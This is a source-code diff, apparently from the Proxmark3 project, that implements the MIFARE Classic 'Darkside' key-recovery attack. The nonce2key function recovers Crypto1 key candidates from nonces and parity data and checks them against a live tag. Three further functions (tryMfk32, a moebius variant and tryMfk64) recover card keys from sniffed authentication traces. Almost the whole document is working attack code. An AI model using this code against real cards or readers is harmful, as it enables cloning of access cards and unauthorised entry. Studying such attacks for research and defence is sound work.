// MIFARE Darkside hack
//-----------------------------------------------------------------------------
+#define __STDC_FORMAT_MACROS
+#include <inttypes.h>
+#define llx PRIx64
+
#include "nonce2key.h"
+#include "mifarehost.h"
#include "ui.h"
-int nonce2key(uint32_t uid, uint32_t nt, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
- struct Crypto1State *state, *state_s;
- uint32_t pos, nr, rr, nr_diff;//, ks1, ks2;
- byte_t bt, i, ks3x[8], par[8][8];
- uint64_t key_recovered;
- nr = rr = 0;
+int compar_state(const void * a, const void * b) {
+ // didn't work: (the result is truncated to 32 bits)
+ //return (*(int64_t*)b - *(int64_t*)a);
+
+ // better:
+ if (*(int64_t*)b == *(int64_t*)a) return 0;
+ else if (*(int64_t*)b > *(int64_t*)a) return 1;
+ else return -1;
+}
+
+int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
+
+ struct Crypto1State *state;
+ uint32_t i, pos, rr = 0, nr_diff, key_count;//, ks1, ks2;
+ byte_t bt, ks3x[8], par[8][8];
+ uint64_t key_recovered;
+ int64_t *state_s;
+
+ static uint32_t last_uid;
+ static int64_t *last_keylist;
- // Reset the last three significant bits of the reader nonce
- nr &= 0xffffff1f;
+ if (last_uid != uid && last_keylist != NULL) {
+ free(last_keylist);
+ last_keylist = NULL;
+ }
+ last_uid = uid;
+
+ // Reset the last three significant bits of the reader nonce
+ nr &= 0xffffff1f;
- PrintAndLog("\nuid(%08x) nt(%08x) par(%016llx) ks(%016llx)\n\n",uid,nt,par_info,ks_info);
-
- for (pos=0; pos<8; pos++)
- {
- ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
- bt = (par_info >> (pos*8)) & 0xff;
- for (i=0; i<8; i++)
- {
- par[7-pos][i] = (bt >> i) & 0x01;
- }
- }
-
- printf("|diff|{nr} |ks3|ks3^5|parity |\n");
- printf("+----+--------+---+-----+---------------+\n");
- for (i=0; i<8; i++)
- {
- nr_diff = nr | i << 5;
- printf("| %02x |%08x|",i << 5, nr_diff);
- printf(" %01x | %01x |",ks3x[i], ks3x[i]^5);
- for (pos=0; pos<7; pos++) printf("%01x,", par[i][pos]);
- printf("%01x|\n", par[i][7]);
- }
+ PrintAndLog("\nuid(%08x) nt(%08x) par(%016"llx") ks(%016"llx") nr(%08"llx")\n\n", uid, nt, par_info, ks_info, nr);
+
+ for ( pos = 0; pos < 8; pos++ ) {
+ ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
+ bt = (par_info >> (pos*8)) & 0xff;
+
+ for ( i = 0; i < 8; i++) {
+ par[7-pos][i] = (bt >> i) & 0x01;
+ }
+ }
+
+ printf("|diff|{nr} |ks3|ks3^5|parity |\n");
+ printf("+----+--------+---+-----+---------------+\n");
+
+ for ( i = 0; i < 8; i++) {
+ nr_diff = nr | i << 5;
+ printf("| %02x |%08x|", i << 5, nr_diff);
+ printf(" %01x | %01x |", ks3x[i], ks3x[i]^5);
+ for (pos = 0; pos < 7; pos++)
+ printf("%01x,", par[i][pos]);
+ printf("%01x|\n", par[i][7]);
+ }
+ printf("+----+--------+---+-----+---------------+\n");
+
+ if ( par_info == 0 )
+ PrintAndLog("Parity is all zero, try special attack! Wait for few more seconds...");
- state = lfsr_common_prefix(nr, rr, ks3x, par);
- state_s = 0;
- for (i = 0; (state) && ((state + i)->odd != 0 || (state + i)->even != 0) && (i < 10); i++)
+ state = lfsr_common_prefix(nr, rr, ks3x, par, par_info==0);
+ state_s = (int64_t*)state;
+
+ //char filename[50] ;
+ //sprintf(filename, "nt_%08x_%d.txt", nt, nr);
+ //printf("name %s\n", filename);
+ //FILE* fp = fopen(filename,"w");
+ for (i = 0; (state) && ((state + i)->odd != -1); i++)
{
- printf("%08x|%08x\n",(state+i)->odd, (state+i)->even);
- state_s = state + i;
+ lfsr_rollback_word(state+i, uid^nt, 0);
+ crypto1_get_lfsr(state + i, &key_recovered);
+ *(state_s + i) = key_recovered;
+ //fprintf(fp, "%012llx\n",key_recovered);
}
- if (!state_s) return 1;
+ //fclose(fp);
+
+ if(!state)
+ return 1;
- lfsr_rollback_word(state_s, uid^nt, 0);
- crypto1_get_lfsr(state_s, &key_recovered);
- if (!state) free(state);
+ // quicksort statelist
+ qsort(state_s, i, sizeof(*state_s), compar_state);
+
+ // set last element marker
+ *(state_s + i) = -1;
+
+ //Create the intersection:
+ if (par_info == 0 ) {
+ if ( last_keylist != NULL) {
+ int64_t *p1, *p2, *p3;
+ p1 = p3 = last_keylist;
+ p2 = state_s;
+ while ( *p1 != -1 && *p2 != -1 ) {
+ if (compar_state(p1, p2) == 0) {
+ printf("p1:%"llx" p2:%"llx" p3:%"llx" key:%012"llx"\n",
+ (uint64_t)(p1-last_keylist),
+ (uint64_t)(p2-state_s),
+ (uint64_t)(p3-last_keylist),
+ *p1);
+ *p3++ = *p1++;
+ p2++;
+ } else {
+ while (compar_state(p1, p2) == -1) ++p1;
+ while (compar_state(p1, p2) == 1) ++p2;
+ }
+ }
+ key_count = p3 - last_keylist;
+ } else {
+ key_count = 0;
+ }
+ } else {
+ last_keylist = state_s;
+ key_count = i;
+ }
+
+ printf("key candidates count: %d\n", key_count);
+
+ // The list may still contain several key candidates. Test each of them with mfCheckKeys
+ int res;
+ uint8_t keyBlock[6];
+ uint64_t key64;
+ for (i = 0; i < key_count; i++) {
+
+ key64 = *(last_keylist + i);
+ num_to_bytes(key64, 6, keyBlock);
+ key64 = 0;
+ // Call tag to verify if key is correct
+ res = mfCheckKeys(0, 0, false, 1, keyBlock, &key64);
+ if (!res) {
+ *key = key64;
+ free(last_keylist);
+ last_keylist = NULL;
+ if (par_info == 0)
+ free(state);
+ return 0;
+ }
+ }
- *key = key_recovered;
+ free(last_keylist);
+ last_keylist = state_s;
+ return 1;
+}
+
+// *outputkey is not used...
+int tryMfk32(uint64_t myuid, uint8_t *data, uint8_t *outputkey ){
+
+ struct Crypto1State *s,*t;
+ uint64_t key; // recovered key
+ uint32_t uid; // serial number
+ uint32_t nt; // tag challenge
+ uint32_t nr0_enc; // first encrypted reader challenge
+ uint32_t ar0_enc; // first encrypted reader response
+ uint32_t nr1_enc; // second encrypted reader challenge
+ uint32_t ar1_enc; // second encrypted reader response
+ bool isSuccess = FALSE;
+ int counter = 0;
+
+ uid = myuid;//(uint32_t)bytes_to_num(data + 0, 4);
+ nt = *(uint32_t*)(data+8);
+ nr0_enc = *(uint32_t*)(data+12);
+ ar0_enc = *(uint32_t*)(data+16);
+ nr1_enc = *(uint32_t*)(data+32);
+ ar1_enc = *(uint32_t*)(data+36);
+
+ // PrintAndLog("recovering key for:");
+ // PrintAndLog(" uid: %08x %08x",uid, myuid);
+ // PrintAndLog(" nt: %08x",nt);
+ // PrintAndLog(" {nr_0}: %08x",nr0_enc);
+ // PrintAndLog(" {ar_0}: %08x",ar0_enc);
+ // PrintAndLog(" {nr_1}: %08x",nr1_enc);
+ // PrintAndLog(" {ar_1}: %08x",ar1_enc);
+
+ s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);
+
+ for(t = s; t->odd | t->even; ++t) {
+ lfsr_rollback_word(t, 0, 0);
+ lfsr_rollback_word(t, nr0_enc, 1);
+ lfsr_rollback_word(t, uid ^ nt, 0);
+ crypto1_get_lfsr(t, &key);
+ crypto1_word(t, uid ^ nt, 0);
+ crypto1_word(t, nr1_enc, 1);
+ if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) {
+ PrintAndLog("Found Key: [%012"llx"]", key);
+ isSuccess = TRUE;
+ ++counter;
+ if (counter==20)
+ break;
+ }
+ }
+ crypto1_destroy(t);
+ crypto1_destroy(s);
+ return isSuccess;
+}
+
+int tryMfk32_moebius(uint64_t myuid, uint8_t *data, uint8_t *outputkey ){
+
+ struct Crypto1State *s, *t;
+ uint64_t key; // recovered key
+ uint32_t uid; // serial number
+ uint32_t nt0; // tag challenge first
+ uint32_t nt1; // tag challenge second
+ uint32_t nr0_enc; // first encrypted reader challenge
+ uint32_t ar0_enc; // first encrypted reader response
+ uint32_t nr1_enc; // second encrypted reader challenge
+ uint32_t ar1_enc; // second encrypted reader response
+ bool isSuccess = FALSE;
+ int counter = 0;
+
+ uid = myuid;//(uint32_t)bytes_to_num(data + 0, 4);
+ nt0 = *(uint32_t*)(data+8);
+ nr0_enc = *(uint32_t*)(data+12);
+ ar0_enc = *(uint32_t*)(data+16);
+ nt1 = *(uint32_t*)(data+8);
+ nr1_enc = *(uint32_t*)(data+32);
+ ar1_enc = *(uint32_t*)(data+36);
+
+ s = lfsr_recovery32(ar0_enc ^ prng_successor(nt0, 64), 0);
- return 0;
+ for(t = s; t->odd | t->even; ++t) {
+ lfsr_rollback_word(t, 0, 0);
+ lfsr_rollback_word(t, nr0_enc, 1);
+ lfsr_rollback_word(t, uid ^ nt0, 0);
+ crypto1_get_lfsr(t, &key);
+
+ crypto1_word(t, uid ^ nt1, 0);
+ crypto1_word(t, nr1_enc, 1);
+ if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt1, 64))) {
+ PrintAndLog("Found Key: [%012"llx"]",key);
+ isSuccess = TRUE;
+ ++counter;
+ if (counter==20)
+ break;
+ }
+ }
+ crypto1_destroy(t);
+ crypto1_destroy(s);
+ return isSuccess;
}
+
+int tryMfk64(uint64_t myuid, uint8_t *data, uint8_t *outputkey ){
+
+ struct Crypto1State *revstate;
+ uint64_t key; // recovered key
+ uint32_t uid; // serial number
+ uint32_t nt; // tag challenge
+ uint32_t nr_enc; // encrypted reader challenge
+ uint32_t ar_enc; // encrypted reader response
+ uint32_t at_enc; // encrypted tag response
+ uint32_t ks2; // keystream used to encrypt reader response
+ uint32_t ks3; // keystream used to encrypt tag response
+
+ struct Crypto1State mpcs = {0, 0};
+ struct Crypto1State *pcs;
+ pcs = &mpcs;
+
+ uid = myuid;//(uint32_t)bytes_to_num(data + 0, 4);
+ nt = *(uint32_t*)(data+8);
+ nr_enc = *(uint32_t*)(data+12);
+ ar_enc = *(uint32_t*)(data+16);
+
+ crypto1_word(pcs, nr_enc , 1);
+ at_enc = prng_successor(nt, 96) ^ crypto1_word(pcs, 0, 0);
+
+ // printf("Recovering key for:\n");
+ // printf(" uid: %08x\n",uid);
+ // printf(" nt: %08x\n",nt);
+ // printf(" {nr}: %08x\n",nr_enc);
+ // printf(" {ar}: %08x\n",ar_enc);
+ // printf(" {at}: %08x\n",at_enc);
+
+ // Extract the keystream from the messages
+ ks2 = ar_enc ^ prng_successor(nt, 64);
+ ks3 = at_enc ^ prng_successor(nt, 96);
+
+ revstate = lfsr_recovery64(ks2, ks3);
+ lfsr_rollback_word(revstate, 0, 0);
+ lfsr_rollback_word(revstate, 0, 0);
+ lfsr_rollback_word(revstate, nr_enc, 1);
+ lfsr_rollback_word(revstate, uid ^ nt, 0);
+ crypto1_get_lfsr(revstate, &key);
+ PrintAndLog("Found Key: [%012"llx"]",key);
+ crypto1_destroy(revstate);
+ crypto1_destroy(pcs);
+ return 0;
+}
\ No newline at end of file
projects / proxmark3-svn / blobdiff